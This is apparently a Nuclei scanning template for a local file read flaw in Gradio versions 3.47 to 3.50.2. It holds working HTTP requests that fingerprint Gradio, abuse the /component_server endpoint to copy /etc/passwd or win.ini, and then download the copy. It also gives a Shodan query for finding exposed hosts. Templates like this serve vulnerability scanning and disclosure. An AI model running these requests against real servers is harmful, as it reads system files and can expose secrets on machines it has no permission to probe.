gradio-component-server-lfi: Gradio 3.47/3.50.2 - Local File Inclusion

id: gradio-component-server-lfi

info:
  name: Gradio 3.47/3.50.2 - Local File Inclusion
  author: nvn1729
  severity: high
  description: |
    Local file read by calling arbitrary methods of Components class between Gradio versions 3.47 / 3.50.2
  reference:
    - https://github.com/gradio-app/gradio/commit/24a583688046867ca8b8b02959c441818bdb34a2
    - https://www.horizon3.ai/attack-research/disclosures/exploiting-file-read-vulnerabilities-in-gradio-to-steal-secrets-from-hugging-face-spaces/
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    epss-percentile: 0.36659
    cpe: cpe:2.3:a:gradio_project:gradio:*:*:*:*:python:*:*:*
  metadata:
    verified: true
    max-request: 2
    shodan-query: html:"__gradio_mode__"
    product: gradio
    vendor: gradio_project
  tags: cve,cve2024,intrusive,unauth,gradio,lfi,lfr,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /component_server HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_any(tolower(body), "content=\"gradio", "gradio_mode", "gradio-app", "https://gradio.app")'
          - 'contains(tolower(body), "\"method not allowed")'
        condition: or
        internal: true

  - raw:
      - |
        POST /component_server HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"component_id": "{{fuzz_component_id}}", "data": "{{path}}", "fn_name": "make_temp_copy_if_needed", "session_hash": "aaaaaaaaaaa"}

      - |
        GET /file={{download_path}} HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        part: body
        name: download_path
        internal: true
        group: 1
        regex:
          - "\"?([^\"]+)"

    attack: clusterbomb
    payloads:
      fuzz_component_id: helpers/wordlists/numbers.txt
      path:
        - /etc/passwd
        - c:\\windows\\win.ini

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: regex
        part: body_2
        regex:
          - "root:.*:0:0:"
          - "\\[(font|extension|file)s\\]"
        condition: or

      - type: status
        status:
          - 200
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